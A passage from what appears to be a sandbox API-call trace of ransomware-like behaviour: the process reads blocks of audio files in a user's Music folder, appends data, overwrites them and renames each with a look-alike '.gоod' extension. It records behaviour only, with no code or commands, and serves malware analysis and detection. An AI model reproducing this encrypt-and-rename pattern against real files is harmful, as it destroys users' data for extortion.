"c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\tv91yatm9sxbqdfi.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0213.940] GetFileType (hFile=0x478) returned 0x1 [0213.940] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0213.940] GetFileType (hFile=0x478) returned 0x1 [0213.940] SetFilePointer (in: hFile=0x478, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ec348*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ec348*=0) returned 0xab45 [0213.940] WriteFile (in: hFile=0x478, lpBuffer=0x34d6b38*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ec238, lpOverlapped=0x0 | out: lpBuffer=0x34d6b38*, lpNumberOfBytesWritten=0x202ec238*=0x10, lpOverlapped=0x0) returned 1 [0213.941] CloseHandle (hObject=0x478) returned 1 [0213.941] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\tv91yatm9SxBqDfI.wav", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\tv91yatm9SxBqDfI.wav", lpFilePart=0x0) returned 0x54 [0213.941] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0213.941] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\tv91yatm9SxBqDfI.wav" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\tv91yatm9sxbqdfi.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0213.941] GetFileType (hFile=0x478) returned 0x1 [0213.941] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0213.941] GetFileType (hFile=0x478) returned 0x1 [0213.941] ReadFile (in: hFile=0x478, lpBuffer=0x34d8e28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ec2c8, lpOverlapped=0x0 | out: lpBuffer=0x34d8e28*, lpNumberOfBytesRead=0x202ec2c8*=0x1000, lpOverlapped=0x0) returned 1 [0214.236] CloseHandle (hObject=0x478) returned 1 [0214.237] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\tv91yatm9SxBqDfI.wav", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\tv91yatm9SxBqDfI.wav", lpFilePart=0x0) returned 0x54 [0214.237] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0214.237] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\tv91yatm9SxBqDfI.wav" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\tv91yatm9sxbqdfi.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0214.237] GetFileType (hFile=0x478) returned 0x1 [0214.237] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0214.237] GetFileType (hFile=0x478) returned 0x1 [0214.237] WriteFile (in: hFile=0x478, lpBuffer=0x346c170*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ec378, lpOverlapped=0x0 | out: lpBuffer=0x346c170*, lpNumberOfBytesWritten=0x202ec378*=0x1010, lpOverlapped=0x0) returned 1 [0214.237] CloseHandle (hObject=0x478) returned 1 [0214.237] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\tv91yatm9SxBqDfI.wav", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\tv91yatm9SxBqDfI.wav", lpFilePart=0x0) returned 0x54 [0214.237] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\tv91yatm9SxBqDfI.wav.gоod", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\tv91yatm9SxBqDfI.wav.gоod", lpFilePart=0x0) returned 0x59 [0214.237] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2b0) returned 1 [0214.237] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\tv91yatm9SxBqDfI.wav" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\tv91yatm9sxbqdfi.wav"), fInfoLevelId=0x0, lpFileInformation=0x202ec390 | out: lpFileInformation=0x202ec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa87afd20, ftCreationTime.dwHighDateTime=0x1d4cf9b, ftLastAccessTime.dwLowDateTime=0x3cd99a40, ftLastAccessTime.dwHighDateTime=0x1d4c5a0, ftLastWriteTime.dwLowDateTime=0x7be7e32c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xab55)) returned 1 [0214.238] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec270) returned 1 [0214.238] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\tv91yatm9SxBqDfI.wav" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\tv91yatm9sxbqdfi.wav"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\tv91yatm9SxBqDfI.wav.gоod" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\tv91yatm9sxbqdfi.wav.gоod")) returned 1 [0214.536] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\UOBqvUE1JCO94ZV6.wav", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\UOBqvUE1JCO94ZV6.wav", lpFilePart=0x0) returned 0x54 [0214.537] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2f0) returned 1 [0214.537] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\UOBqvUE1JCO94ZV6.wav" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\uobqvue1jco94zv6.wav"), fInfoLevelId=0x0, lpFileInformation=0x35422d8 | out: lpFileInformation=0x35422d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0780e00, ftCreationTime.dwHighDateTime=0x1d4ce15, ftLastAccessTime.dwLowDateTime=0xa2bb3800, ftLastAccessTime.dwHighDateTime=0x1d4cf32, ftLastWriteTime.dwLowDateTime=0xa2bb3800, ftLastWriteTime.dwHighDateTime=0x1d4cf32, nFileSizeHigh=0x0, nFileSizeLow=0xac18)) returned 1 [0214.537] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec2b0) returned 1 [0214.537] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\UOBqvUE1JCO94ZV6.wav", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\UOBqvUE1JCO94ZV6.wav", lpFilePart=0x0) returned 0x54 [0214.537] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0214.537] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\UOBqvUE1JCO94ZV6.wav" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\uobqvue1jco94zv6.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0214.538] GetFileType (hFile=0x828) returned 0x1 [0214.538] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0214.538] GetFileType (hFile=0x828) returned 0x1 [0214.538] SetFilePointer (in: hFile=0x828, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ec348*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ec348*=0) returned 0x1000 [0214.538] ReadFile (in: hFile=0x828, lpBuffer=0x3542750, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ec318, lpOverlapped=0x0 | out: lpBuffer=0x3542750*, lpNumberOfBytesRead=0x202ec318*=0x1000, lpOverlapped=0x0) returned 1 [0214.539] CloseHandle (hObject=0x828) returned 1 [0214.539] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\UOBqvUE1JCO94ZV6.wav", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\UOBqvUE1JCO94ZV6.wav", lpFilePart=0x0) returned 0x54 [0214.539] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0214.539] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\UOBqvUE1JCO94ZV6.wav" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\uobqvue1jco94zv6.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0214.539] GetFileType (hFile=0x828) returned 0x1 [0214.539] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0214.539] GetFileType (hFile=0x828) returned 0x1 [0214.539] SetFilePointer (in: hFile=0x828, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ec348*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ec348*=0) returned 0xac18 [0214.539] WriteFile (in: hFile=0x828, lpBuffer=0x3543a18*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ec238, lpOverlapped=0x0 | out: lpBuffer=0x3543a18*, lpNumberOfBytesWritten=0x202ec238*=0x10, lpOverlapped=0x0) returned 1 [0214.540] CloseHandle (hObject=0x828) returned 1 [0214.540] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\UOBqvUE1JCO94ZV6.wav", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\UOBqvUE1JCO94ZV6.wav", lpFilePart=0x0) returned 0x54 [0214.540] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0214.540] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\UOBqvUE1JCO94ZV6.wav" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\uobqvue1jco94zv6.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0214.540] GetFileType (hFile=0x828) returned 0x1 [0214.540] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0214.540] GetFileType (hFile=0x828) returned 0x1 [0214.540] ReadFile (in: hFile=0x828, lpBuffer=0x3545d08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ec2c8, lpOverlapped=0x0 | out: lpBuffer=0x3545d08*, lpNumberOfBytesRead=0x202ec2c8*=0x1000, lpOverlapped=0x0) returned 1 [0215.300] CloseHandle (hObject=0x828) returned 1 [0215.300] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\UOBqvUE1JCO94ZV6.wav", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\UOBqvUE1JCO94ZV6.wav", lpFilePart=0x0) returned 0x54 [0215.300] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0215.300] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\UOBqvUE1JCO94ZV6.wav" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\uobqvue1jco94zv6.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0215.300] GetFileType (hFile=0x828) returned 0x1 [0215.301] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0215.301] GetFileType (hFile=0x828) returned 0x1 [0215.301] WriteFile (in: hFile=0x828, lpBuffer=0x34a4920*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ec378, lpOverlapped=0x0 | out: lpBuffer=0x34a4920*, lpNumberOfBytesWritten=0x202ec378*=0x1010, lpOverlapped=0x0) returned 1 [0215.301] CloseHandle (hObject=0x828) returned 1 [0215.301] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\UOBqvUE1JCO94ZV6.wav", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\UOBqvUE1JCO94ZV6.wav", lpFilePart=0x0) returned 0x54 [0215.301] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\UOBqvUE1JCO94ZV6.wav.gоod", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\UOBqvUE1JCO94ZV6.wav.gоod", lpFilePart=0x0) returned 0x59 [0215.301] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2b0) returned 1 [0215.301] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\UOBqvUE1JCO94ZV6.wav" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\uobqvue1jco94zv6.wav"), fInfoLevelId=0x0, lpFileInformation=0x202ec390 | out: lpFileInformation=0x202ec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0780e00, ftCreationTime.dwHighDateTime=0x1d4ce15, ftLastAccessTime.dwLowDateTime=0xa2bb3800, ftLastAccessTime.dwHighDateTime=0x1d4cf32, ftLastWriteTime.dwLowDateTime=0x7c8a032f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xac28)) returned 1 [0215.301] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec270) returned 1 [0215.301] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\UOBqvUE1JCO94ZV6.wav" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\uobqvue1jco94zv6.wav"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\UOBqvUE1JCO94ZV6.wav.gоod" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\uobqvue1jco94zv6.wav.gоod")) returned 1 [0215.302] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\_Wf9JoYQu52BpGSJoC.mp3", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\_Wf9JoYQu52BpGSJoC.mp3", lpFilePart=0x0) returned 0x56 [0215.302] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2f0) returned 1 [0215.302] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\_Wf9JoYQu52BpGSJoC.mp3" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\_wf9joyqu52bpgsjoc.mp3"), fInfoLevelId=0x0, lpFileInformation=0x3895460 | out: lpFileInformation=0x3895460*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x232077d0, ftCreationTime.dwHighDateTime=0x1d4cd5d, ftLastAccessTime.dwLowDateTime=0x36e3c2d0, ftLastAccessTime.dwHighDateTime=0x1d4cf70, ftLastWriteTime.dwLowDateTime=0x36e3c2d0, ftLastWriteTime.dwHighDateTime=0x1d4cf70, nFileSizeHigh=0x0, nFileSizeLow=0x180ee)) returned 1 [0215.302] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec2b0) returned 1 [0215.302] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\_Wf9JoYQu52BpGSJoC.mp3", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\_Wf9JoYQu52BpGSJoC.mp3", lpFilePart=0x0) returned 0x56 [0215.303] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0215.303] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\_Wf9JoYQu52BpGSJoC.mp3" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\_wf9joyqu52bpgsjoc.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0215.303] GetFileType (hFile=0x828) returned 0x1 [0215.303] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0215.304] GetFileType (hFile=0x828) returned 0x1 [0215.304] SetFilePointer (in: hFile=0x828, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ec348*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ec348*=0) returned 0x1000 [0215.304] ReadFile (in: hFile=0x828, lpBuffer=0x38958d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ec318, lpOverlapped=0x0 | out: lpBuffer=0x38958d8*, lpNumberOfBytesRead=0x202ec318*=0x1000, lpOverlapped=0x0) returned 1 [0215.305] CloseHandle (hObject=0x828) returned 1 [0215.305] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\_Wf9JoYQu52BpGSJoC.mp3", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\_Wf9JoYQu52BpGSJoC.mp3", lpFilePart=0x0) returned 0x56 [0215.305] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0215.305] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\_Wf9JoYQu52BpGSJoC.mp3" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\_wf9joyqu52bpgsjoc.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0215.305] GetFileType (hFile=0x828) returned 0x1 [0215.305] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0215.305] GetFileType (hFile=0x828) returned 0x1 [0215.305] SetFilePointer (in: hFile=0x828, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ec348*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ec348*=0) returned 0x180ee [0215.305] WriteFile (in: hFile=0x828, lpBuffer=0x3896ba0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ec238, lpOverlapped=0x0 | out: lpBuffer=0x3896ba0*, lpNumberOfBytesWritten=0x202ec238*=0x10, lpOverlapped=0x0) returned 1 [0215.305] CloseHandle (hObject=0x828) returned 1 [0215.305] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\_Wf9JoYQu52BpGSJoC.mp3", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\_Wf9JoYQu52BpGSJoC.mp3", lpFilePart=0x0) returned 0x56 [0215.306] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0215.306] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\_Wf9JoYQu52BpGSJoC.mp3" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\_wf9joyqu52bpgsjoc.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0215.306] GetFileType (hFile=0x828) returned 0x1 [0215.306] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0215.306] GetFileType (hFile=0x828) returned 0x1 [0215.306] ReadFile (in: hFile=0x828, lpBuffer=0x3898e90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ec2c8, lpOverlapped=0x0 | out: lpBuffer=0x3898e90*, lpNumberOfBytesRead=0x202ec2c8*=0x1000, lpOverlapped=0x0) returned 1 [0215.945] CloseHandle (hObject=0x828) returned 1 [0215.945] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\_Wf9JoYQu52BpGSJoC.mp3", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\_Wf9JoYQu52BpGSJoC.mp3", lpFilePart=0x0) returned 0x56 [0215.945] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0215.945] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\_Wf9JoYQu52BpGSJoC.mp3" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\_wf9joyqu52bpgsjoc.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0215.945] GetFileType (hFile=0x828) returned 0x1 [0215.945] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0215.945] GetFileType (hFile=0x828) returned 0x1 [0215.945] WriteFile (in: hFile=0x828, lpBuffer=0x34f0068*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ec378, lpOverlapped=0x0 | out: lpBuffer=0x34f0068*, lpNumberOfBytesWritten=0x202ec378*=0x1010, lpOverlapped=0x0) returned 1 [0215.945] CloseHandle (hObject=0x828) returned 1 [0215.946] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\_Wf9JoYQu52BpGSJoC.mp3", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\_Wf9JoYQu52BpGSJoC.mp3", lpFilePart=0x0) returned 0x56 [0215.946] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\_Wf9JoYQu52BpGSJoC.mp3.gоod", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\_Wf9JoYQu52BpGSJoC.mp3.gоod", lpFilePart=0x0) returned 0x5b [0215.946] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2b0) returned 1 [0215.946] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\_Wf9JoYQu52BpGSJoC.mp3" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\_wf9joyqu52bpgsjoc.mp3"), fInfoLevelId=0x0, lpFileInformation=0x202ec390 | out: lpFileInformation=0x202ec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x232077d0, ftCreationTime.dwHighDateTime=0x1d4cd5d, ftLastAccessTime.dwLowDateTime=0x36e3c2d0, ftLastAccessTime.dwHighDateTime=0x1d4cf70, 